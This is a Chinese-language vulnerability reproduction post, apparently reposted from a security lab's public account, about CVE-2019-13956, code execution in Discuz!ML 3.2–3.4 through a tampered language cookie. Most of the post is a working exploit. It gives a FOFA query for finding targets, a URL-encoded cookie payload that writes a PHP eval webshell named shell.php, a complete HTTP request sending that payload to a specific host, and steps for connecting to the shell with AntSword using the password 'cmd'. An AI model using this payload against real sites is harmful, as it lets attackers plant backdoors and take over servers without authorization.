CVE-2019-13956 discuz!ML 代码执行

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现 CVE-2019-13956 discuz!ML 代码执行

0x01 阅读须知

0x02 漏洞描述

CrossdayDiscuz!Board（简称Discuz!）是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。

    Discuz!ML3.2到3.4允许远程攻击者通过修改过的语言cookie执行任意PHP代码，如将4gH4_0df5_language=en更改为4gH4_0df5_language=en’.phpinfo().’，即可任意执行代码。

0x03 漏洞复现

漏洞版本:

• Discuz! ML V3.2
• Discuz! ML V3.3
• Discuz! ML V3.4

fofa：app=”Discuz”

1.点击任意cookie中存在xx_language的页面，将xx_language参数改为如下payload，即会在根目录写入一句话木马

payload：
%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

HTTP报文：
GET /home.php?mod=space&do=friend&view=online&type=member HTTP/1.1
Host: 123.58.236.76:32540
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://123.58.236.76:32540/forum.php
Cookie: 3PNB_2132_saltkey=LM0s1m1l; 3PNB_2132_lastvisit=1652362564; cDRv_2132_saltkey=v80YhQhH; cDRv_2132_language=sc; cDRv_2132_lastvisit=1653371329; cDRv_2132_sid=Z7c77p; cDRv_2132_lastact=1653375035%09forum.php%09; cDRv_2132_st_t=0%7C1653375032%7Cc1c9a4914facfc72947c9fbfe0cdc120; cDRv_2132_forum_lastvisit=D_2_1653375032; cDRv_2132_visitedfid=2; cDRv_2132_seccode=1.69a1d2e6021d9b5c43; uVgr_2132_saltkey=UZdf996J; uVgr_2132_language=%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27; uVgr_2132_lastvisit=1653373250; uVgr_2132_sid=bCUn9n; uVgr_2132_lastact=1653376966%09forum.php%09; uVgr_2132_st_t=0%7C1653376850%7C994e4d9db4efa9c71d12dafc6a5bac73; uVgr_2132_forum_lastvisit=D_2_1653376850; uVgr_2132_visitedfid=2; uVgr_2132_sendmail=1; uVgr_2132_onlineusernum=2
Upgrade-Insecure-Requests: 1

2. 蚁剑连接，获得webshell

连接地址：
http://x.x.x.x:32540/shell.php
密码：
cmd